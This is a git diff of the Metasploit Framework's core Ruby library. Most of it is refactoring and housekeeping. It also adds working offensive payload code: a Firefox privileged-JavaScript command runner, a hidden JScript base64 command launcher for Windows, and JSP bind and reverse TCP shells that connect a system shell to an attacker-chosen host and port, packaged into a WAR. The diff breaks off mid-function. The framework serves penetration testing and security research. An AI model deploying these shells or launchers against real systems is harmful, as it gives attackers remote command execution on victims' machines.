self.class.fullname + self.class.fullname end # @@ -267,28 +267,28 @@ class Module # windows/shell/reverse_tcp # def refname - return self.class.refname + self.class.refname end # # Returns the module's rank. # def rank - return self.class.rank + self.class.rank end # # Returns the module's rank in string format. # def rank_to_s - return self.class.rank_to_s + self.class.rank_to_s end # # Returns the module's rank in display format. # def rank_to_h - return self.class.rank_to_h + self.class.rank_to_h end # @@ -299,14 +299,14 @@ class Module # reverse_tcp # def shortname - return self.class.shortname + self.class.shortname end # # Returns the unduplicated class associated with this module. # def orig_cls - return self.class.orig_cls + self.class.orig_cls end # @@ -366,30 +366,14 @@ class Module # Returns the address of the last target host (rough estimate) # def target_host - if(self.respond_to?('rhost')) - return rhost() - end - - if(self.datastore['RHOST']) - return self.datastore['RHOST'] - end - - nil + self.respond_to?('rhost') ? rhost : self.datastore['RHOST'] end # # Returns the address of the last target port (rough estimate) # def target_port - if(self.respond_to?('rport')) - return rport() - end - - if(self.datastore['RPORT']) - return self.datastore['RPORT'] - end - - nil + self.respond_to?('rport') ? rport : self.datastore['RPORT'] end # @@ -449,6 +433,9 @@ class Module ch = self.compat['Nop'] elsif (mod.type == MODULE_PAYLOAD) ch = self.compat['Payload'] + if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat'] + ch = ch.merge(self.target['Payload']['Compat']) + end else return true end @@ -513,7 +500,7 @@ class Module # Return a comma separated list of author for this module. # def author_to_s - return author.collect { |author| author.to_s }.join(", ") + author.collect { |author| author.to_s }.join(", ") end # @@ -527,7 +514,7 @@ class Module # Return a comma separated list of supported architectures, if any. # def arch_to_s - return arch.join(", ") + arch.join(", ") end # @@ -541,16 +528,18 @@ class Module # Return whether or not the module supports the supplied architecture. # def arch?(what) - return true if (what == ARCH_ANY) - - return arch.index(what) != nil + if (what == ARCH_ANY) + true + else + arch.index(what) != nil + end end # # Return a comma separated list of supported platforms, if any. # def platform_to_s - return ((platform.all?) ? [ "All" ] : platform.names).join(", ") + platform.all? ? "All" : platform.names.join(", ") end # @@ -564,7 +553,7 @@ class Module # Returns whether or not the module requires or grants high privileges. # def privileged? - return (privileged == true) + privileged == true end # @@ -572,7 +561,7 @@ class Module # this somewhere else. # def comm - return Rex::Socket::Comm::Local + Rex::Socket::Comm::Local end # @@ -746,7 +735,7 @@ class Module # Constants indicating the reason for an unsuccessful module attempt # module Failure - + # # No confidence in success or failure # @@ -811,7 +800,7 @@ class Module # The payload was delivered but no session was opened (AV, network, etc) # PayloadFailed = 'payload-failed' - end + end ## @@ -824,42 +813,42 @@ class Module # Returns true if this module is an exploit module. # def exploit? - return (type == MODULE_EXPLOIT) + (type == MODULE_EXPLOIT) end # # Returns true if this module is a payload module. # def payload? - return (type == MODULE_PAYLOAD) + (type == MODULE_PAYLOAD) end # # Returns true if this module is an encoder module. # def encoder? - return (type == MODULE_ENCODER) + (type == MODULE_ENCODER) end # # Returns true if this module is a nop module. # def nop? - return (type == MODULE_NOP) + (type == MODULE_NOP) end # # Returns true if this module is an auxiliary module. # def auxiliary? - return (type == MODULE_AUX) + (type == MODULE_AUX) end # # Returns true if this module is an post-exploitation module. # def post? - return (type == MODULE_POST) + (type == MODULE_POST) end # @@ -1070,7 +1059,7 @@ protected merge_check_key(info, name, val) } - return info + info end # @@ -1150,7 +1139,7 @@ protected # Merges the module description. # def merge_info_description(info, val) - merge_info_string(info, 'Description', val) + merge_info_string(info, 'Description', val, ". ", true) end # diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index 563db9ec7d..38c5021695 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -13,7 +13,7 @@ class Msf::Module::Author Known = { 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', - 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', + 'anonymous' => 'Unknown', 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', @@ -21,6 +21,7 @@ class Msf::Module::Author 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', 'et' => 'et' + 0x40.chr + 'metasploit.com', + 'Christian Mehlmauer' => 'FireFart' + 0x40.chr + 'gmail.com', 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', @@ -30,6 +31,7 @@ class Msf::Module::Author 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', 'MC' => 'mc' + 0x40.chr + 'metasploit.com', + 'Ben Campbell' => 'eat_meatballs' + 0x40.chr + 'hotmail.co.uk', 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', 'natron' => 'natron' + 0x40.chr + 'metasploit.com', diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 2dee7bfddd..2879223d2f 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Module::Deprecated @@ -33,18 +34,34 @@ module Msf::Module::Deprecated end # (see ClassMethods#replacement_module) - def replacement_module; self.class.replacement_module; end + def replacement_module + if self.class.instance_variable_defined?(:@replacement_module) + return self.class.replacement_module + elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT) + return self.class.const_get(:DEPRECATION_REPLACEMENT) + end + end + # (see ClassMethods#deprecation_date) - def deprecation_date; self.class.deprecation_date; end + def deprecation_date + if self.class.instance_variable_defined?(:@deprecation_date) + return self.class.deprecation_date + elsif self.class.const_defined?(:DEPRECATION_DATE) + return self.class.const_get(:DEPRECATION_DATE) + end + end # Extends with {ClassMethods} def self.included(base) base.extend(ClassMethods) end - def setup + # Print the module deprecation information + # + # @return [void] + def print_deprecation_warning print_warning("*"*72) - print_warning("*%red"+"This module is deprecated!".center(70)+"%clr*") + print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*") if deprecation_date print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*") end @@ -52,6 +69,21 @@ module Msf::Module::Deprecated print_warning("*"+"Use #{replacement_module} instead".center(70)+"*") end print_warning("*"*72) + end + + def init_ui(input = nil, output = nil) + super(input, output) + print_deprecation_warning + @you_have_been_warned = true + end + + def generate + print_deprecation_warning + super + end + + def setup + print_deprecation_warning unless @you_have_been_warned super end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index ee8122d531..ad2131a6ec 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -516,4 +516,12 @@ class Msf::Module::Platform Rank = 100 Alias = "nodejs" end + + # + # Firefox + # + class Firefox < Msf::Module::Platform + Rank = 100 + Alias = "firefox" + end end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 335d9ddd3f..63d22a794f 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -101,15 +101,11 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'BID') self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s elsif (in_ctx_id == 'MSB') - self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx' + self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s - elsif (in_ctx_id == 'WVE') - self.site = 'http://www.wirelessve.org/entries/show/WVE-' + in_ctx_val.to_s elsif (in_ctx_id == 'US-CERT-VU') self.site = 'http://www.kb.cert.org/vuls/id/' + in_ctx_val.to_s - elsif (in_ctx_id == 'BPS') - self.site = 'https://strikecenter.bpointsys.com/bps/advisory/BPS-' + in_ctx_val.to_s elsif (in_ctx_id == 'ZDI') self.site = 'http://www.zerodayinitiative.com/advisories/ZDI-' + in_ctx_val.to_s elsif (in_ctx_id == 'URL') diff --git a/lib/msf/core/module/target.rb b/lib/msf/core/module/target.rb index 478bf055d7..30b6d993f3 100644 --- a/lib/msf/core/module/target.rb +++ b/lib/msf/core/module/target.rb @@ -198,6 +198,13 @@ class Msf::Module::Target opts['Payload'] ? opts['Payload']['PrependEncoder'] : nil end + # + # Payload append encoder information for this target. + # + def payload_append_encoder + opts['Payload'] ? opts['Payload']['AppendEncoder'] : nil + end + # # Payload stack adjustment information for this target. # diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a61aa7606a..a1f626a5a6 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index e346527d2d..5418e7a2f2 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/module_paths.rb b/lib/msf/core/module_manager/module_paths.rb index ede9a84889..1a23ed2889 100644 --- a/lib/msf/core/module_manager/module_paths.rb +++ b/lib/msf/core/module_manager/module_paths.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/module_sets.rb b/lib/msf/core/module_manager/module_sets.rb index f51727fe2d..7af1a14a5a 100644 --- a/lib/msf/core/module_manager/module_sets.rb +++ b/lib/msf/core/module_manager/module_sets.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Gems # diff --git a/lib/msf/core/module_manager/reloading.rb b/lib/msf/core/module_manager/reloading.rb index 0e3bf6d5fa..e864ba5497 100644 --- a/lib/msf/core/module_manager/reloading.rb +++ b/lib/msf/core/module_manager/reloading.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Concerns reloading modules module Msf::ModuleManager::Reloading # Reloads the module specified in mod. This can either be an instance of a module or a module class. diff --git a/lib/msf/core/modules.rb b/lib/msf/core/modules.rb index 74b3722df3..c8114b24cf 100644 --- a/lib/msf/core/modules.rb +++ b/lib/msf/core/modules.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Namespace for loading Metasploit modules module Msf::Modules diff --git a/lib/msf/core/modules/error.rb b/lib/msf/core/modules/error.rb index 463a1e98ac..106fdf5467 100644 --- a/lib/msf/core/modules/error.rb +++ b/lib/msf/core/modules/error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Base error class for all error under {Msf::Modules} class Msf::Modules::Error < StandardError def initialize(attributes={}) diff --git a/lib/msf/core/modules/loader.rb b/lib/msf/core/modules/loader.rb index e85040ea16..793eede152 100644 --- a/lib/msf/core/modules/loader.rb +++ b/lib/msf/core/modules/loader.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules' # Namespace for module loaders diff --git a/lib/msf/core/modules/loader/archive.rb b/lib/msf/core/modules/loader/archive.rb index 338dec039a..9aaf180e23 100644 --- a/lib/msf/core/modules/loader/archive.rb +++ b/lib/msf/core/modules/loader/archive.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules/loader/base' # Concerns loading modules form fastlib archives diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 0771d4f822..88317395f5 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # # Project # diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index aed29b7be2..2470fcf712 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # Concerns loading module from a directory class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # Returns true if the path is a directory @@ -18,7 +19,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # Yields the module_reference_name for each module file found under the directory path. # # @param [String] path The path to the directory. - # @param [Array] modules An array of regex patterns to search for specific modules + # @param [Hash] opts Input Hash. # @yield (see Msf::Modules::Loader::Base#each_module_reference_name) # @yieldparam [String] path The path to the directory. # @yieldparam [String] type The type correlated with the directory under path. @@ -109,4 +110,4 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base module_content end -end \ No newline at end of file +end diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb index 1bdc67c3d2..ae829392cf 100644 --- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb +++ b/lib/msf/core/modules/metasploit_class_compatibility_error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules/error' # Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb index 8555dd8fec..fa65f5fa26 100644 --- a/lib/msf/core/modules/namespace.rb +++ b/lib/msf/core/modules/namespace.rb @@ -1,3 +1,7 @@ +# -*- coding: binary -*- +require 'metasploit/framework/api/version' +require 'metasploit/framework/core/version' + # Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and # grabbing the version specific-Metasploit* class. module Msf::Modules::Namespace @@ -54,11 +58,11 @@ module Msf::Modules::Namespace def version_compatible!(module_path, module_reference_name) if const_defined?(:RequiredVersions) required_versions = const_get(:RequiredVersions) - minimum_core_version = required_versions[0] - minimum_api_version = required_versions[1] + minimum_core_version = Gem::Version.new(required_versions[0].to_s) + minimum_api_version = Gem::Version.new(required_versions[1].to_s) - if (minimum_core_version > ::Msf::Framework::VersionCore or - minimum_api_version > ::Msf::Framework::VersionAPI) + if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || + minimum_api_version > Metasploit::Framework::API::GEM_VERSION) raise Msf::Modules::VersionCompatibilityError.new( :module_path => module_path, :module_reference_name => module_reference_name, diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb index 7d622d1f95..fb52be3fc8 100644 --- a/lib/msf/core/modules/version_compatibility_error.rb +++ b/lib/msf/core/modules/version_compatibility_error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core/modules/error' # Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module} diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index d3b7901ca5..9283f1e3e3 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -20,6 +20,7 @@ class OptBase # attrs[1] = description (string) # attrs[2] = default value # attrs[3] = possible enum values + # attrs[4] = Regex to validate the option # def initialize(in_name, attrs = []) self.name = in_name @@ -29,6 +30,21 @@ class OptBase self.desc = attrs[1] self.default = attrs[2] self.enums = [ *(attrs[3]) ].map { |x| x.to_s } + regex_temp = attrs[4] || nil + if regex_temp + # convert to string + regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp + # remove start and end character, they will be added later + regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '') + # Add start and end marker to match the whole regex + regex_temp = "^#{regex_temp}$" + begin + Regexp.compile(regex_temp) + self.regex = regex_temp + rescue RegexpError, TypeError => e + raise("Invalid Regex #{regex_temp}: #{e}") + end + end end # @@ -63,7 +79,18 @@ class OptBase # If it's required and the value is nil or empty, then it's not valid. # def valid?(value) - return (required? and (value == nil or value.to_s.empty?)) ? false : true + if required? + # required variable not set + return false if (value == nil or value.to_s.empty?) + end + if regex + if value.match(regex) + return true + else + return false + end + end + return true end # @@ -125,6 +152,10 @@ class OptBase # The list of potential valid values # attr_accessor :enums + # + # A optional regex to validate the option value + # + attr_accessor :regex protected diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index f3e981db47..a712034020 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -29,6 +29,7 @@ class Payload < Msf::Module require 'msf/core/payload/netware' require 'msf/core/payload/java' require 'msf/core/payload/dalvik' + require 'msf/core/payload/firefox' ## # @@ -413,7 +414,7 @@ class Payload < Msf::Module encoders = [] framework.encoders.each_module_ranked( - 'Arch' => self.arch) { |name, mod| + 'Arch' => self.arch, 'Platform' => self.platform) { |name, mod| encoders << [ name, mod ] } diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index aeae5aa361..66c0345f2b 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -31,5 +31,36 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def string_sub(data, placeholder="", input="") + data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + end + + def generate_cert + x509_name = OpenSSL::X509::Name.parse( + "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" + ) + key = OpenSSL::PKey::RSA.new(1024) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = x509_name + cert.issuer = x509_name + cert.public_key = key.public_key + + # Some time within the last 3 years + cert.not_before = Time.now - rand(3600*24*365*3) + + # From http://developer.android.com/tools/publishing/app-signing.html + # """ + # A validity period of more than 25 years is recommended. + # + # If you plan to publish your application(s) on Google Play, note + # that a validity period ending after 22 October 2033 is a + # requirement. You can not upload an application if it is signed + # with a key whose validity expires before that date. + # """ + cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + return cert, key + end end diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb new file mode 100644 index 0000000000..f8b940708d --- /dev/null +++ b/lib/msf/core/payload/firefox.rb @@ -0,0 +1,225 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'json' + +module Msf::Payload::Firefox + + # Javascript source code of setTimeout(fn, delay) + # @return [String] javascript source code that exposes the setTimeout(fn, delay) method + def set_timeout_source + %Q| + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + | + end + + # Javascript source of readUntilToken(s) + # Continues reading the stream as data is available, until a pair of + # command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed. + # + # Returns a function that can be passed to the #onDataAvailable callback of + # nsIInputStreamPump that will buffer until a second token is read, or, in + # the absence of any tokens, a newline character is read. + # + # @return [String] javascript source code that exposes the readUntilToken(cb) function + def read_until_token_source + %Q| + var readUntilToken = function(cb) { + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + + var buffer = '', m = null; + return function(request, context, stream, offset, count) { + buffer += NetUtil.readInputStreamToString(stream, count); + if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) { + if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) { + cb(m[2]); + buffer = ''; + } + } else if (buffer.indexOf("\\n") > -1) { + cb(buffer); + buffer = ''; + } + }; + }; + | + end + + # Javascript source code of readFile(path) - synchronously reads a file and returns + # its contents. The file is deleted immediately afterwards. + # + # @return [String] javascript source code that exposes the readFile(path) method + def read_file_source + %Q| + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } + }; + | + end + + # Javascript source code of runCmd(str,cb) - runs a shell command on the OS + # + # Because of a limitation of firefox, we cannot retrieve the shell output + # so the stdout/err are instead redirected to a temp file, which is read and + # destroyed after the command completes. + # + # On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of + # which redirects stdout. + # + # On windows, the command is wrapped in two "cmd /c" calls, the outer of which + # redirects stdout. A JScript "launch" file is dropped and invoked with wscript + # to run the command without displaying the cmd.exe prompt. + # + # When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the + # javascript code between the tags is eval'd and returned. + # + # @return [String] javascript source code that exposes the runCmd(str) method. + def run_cmd_source + %Q| + #{read_file_source} + #{set_timeout_source} + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); + var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); + var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; + var runCmd = function(cmd, cb) { + cb = cb \|\| (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } + + var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); + if (js) { + var tag = "[!JAVASCRIPT]"; + var sync = true; /* avoid zalgo's reach */ + var sent = false; + var retVal = null; + + try { + retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true; + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); + else cb(false, r+tag+"\\n"); + } + }); + } catch (e) { retVal = e.message; } + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); + } + + return; + } + + var shEsc = "\\\\$&"; + var shPath = "/bin/sh -c"; + + if (windows) { + shPath = "cmd /c"; + shEsc = "\\^$&"; + var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js'); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); + stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0); + stream.write(jscript, jscript.length); + if (stream instanceof Components.interfaces.nsISafeOutputStream) { + stream.finish(); + } else { + stream.close(); + } + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + var shell; + if (windows) { + shell = shPath+" "+cmd.trim(); + shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; + var b64 = svcs.btoa(shell); + } else { + shell = shPath+" "+cmd.replace(/\\W/g, shEsc); + shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; + } + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + + if (windows) { + sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe"); + process.init(sh); + var args = [jscriptFile.path, b64]; + process.run(true, args, args.length); + jscriptFile.remove(true); + setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); + } else { + sh.initWithPath("/bin/sh"); + process.init(sh); + var args = ["-c", shell]; + process.run(true, args, args.length); + setTimeout(function(){cb(false, readFile(stdout.path));}); + } + }; + | + end + + # This file is dropped on the windows platforms to a temp file in order to prevent the + # cmd.exe prompt from appearing. It is executed and then deleted. + # + # Note: we should totally add a powershell replacement here. + # + # @return [String] JScript that reads its command-line argument, decodes + # base64 and runs it as a shell command. + def jscript_launcher + %Q| + var b64 = WScript.arguments(0); + var dom = new ActiveXObject("MSXML2.DOMDocument.3.0"); + var el = dom.createElement("root"); + el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el); + var stream = new ActiveXObject("ADODB.Stream"); + stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue); + stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0; + var cmd = stream.ReadText(); + (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); + | + end + +end diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 7b88e06b5b..bf8522f100 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -42,6 +42,8 @@ module Msf::Payload::Java # # @option opts :main_class [String] the name of the Main-Class # attribute in the manifest. Defaults to "metasploit.Payload" + # @option opts :random [Boolean] Set to `true` to randomize the + # "metasploit" package name. # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config @@ -54,6 +56,7 @@ module Msf::Payload::Java ] + @class_files jar = Rex::Zip::Jar.new + jar.add_sub("metasploit") if opts[:random] jar.add_file("metasploit.dat", config) jar.add_files(paths, File.join(Msf::Config.data_directory, "java")) jar.build_manifest(:main_class => main_class) diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb new file mode 100644 index 0000000000..08d83943da --- /dev/null +++ b/lib/msf/core/payload/jsp.rb @@ -0,0 +1,198 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'rex' + +# This module is chained within JSP payloads that target the Java platform. +# It provides methods to generate Java / JSP code. +module Msf::Payload::JSP + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(info = {}) + ret = super(info) + + register_options([ + Msf::OptString.new( 'SHELL', [false, 'The system shell to use.']) + ], Msf::Payload::JSP ) + + ret + end + + # Outputs jsp that spawns a bind TCP shell + # + # @return [String] jsp code that executes bind TCP payload + def jsp_bind_tcp + # Modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + #{shell_path} + ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); + Socket client_socket = server_socket.accept(); + server_socket.close(); + Process process = Runtime.getRuntime().exec( ShellPath ); + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> + EOS + + jsp + end + + # Outputs jsp code that spawns a reverse TCP shell + # + # @return [String] jsp code that executes reverse TCP payload + def jsp_reverse_tcp + # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + #{shell_path} + Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); + Process process = Runtime.getRuntime().exec( ShellPath ); + ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); + ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> + EOS + + jsp + end + + # Wraps the jsp payload into a war + # + # @return [Rex::Zip::Jar] a war to execute the jsp payload + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF +<?xml version="1.0"?> +<!DOCTYPE web-app PUBLIC +"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" +"http://java.sun.com/dtd/web-app_2_3.dtd"> +<web-app> + <welcome-file-list> + <welcome-file>#{jsp_name}</welcome-file> + </welcome-file-list> +</web-app> + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end + + # Outputs Java code to assign the system shell path to a variable. + # + # It uses the datastore if a value has been provided, otherwise + # tries to guess the system shell path bad on the os target. + # + # @return [String] the Java code. + def shell_path + if datastore['SHELL'] && !datastore['SHELL'].empty? + jsp = "String ShellPath = \"#{datastore['SHELL']}\";" + else + jsp = <<-EOS +String ShellPath; +if 